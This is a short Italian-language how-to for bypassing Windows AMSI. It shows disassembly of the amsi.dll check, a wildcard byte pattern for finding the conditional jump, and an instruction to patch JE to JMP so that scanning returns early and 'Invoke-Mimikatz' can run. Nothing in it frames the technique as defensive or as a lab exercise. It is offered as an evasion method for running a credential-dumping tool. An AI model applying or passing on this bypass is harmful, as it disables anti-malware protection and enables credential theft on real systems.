
Bypass AMSI a vita
otteniamo l'indirizzo esatto dell'istruzione di salto cercando il primo byte di ogni istruzione; questa tecnica è efficace anche di fronte ad aggiornamenti o modifiche al set di dati target.
per esempio :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
il pattern di ricerca sarà così :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Il programma confronta il valore di RDX con se stesso. Se il confronto restituisce 0, il programma esegue un salto di ritorno. Altrimenti, il programma procede a valutare l'istruzione successiva.

non possiamo eseguire "Invoke-Mimikatz"

patchiamo il primo byte e lo cambiamo da JE a JMP in modo che ritorni direttamente


ora eseguiamo "Invoke-Mimikatz"
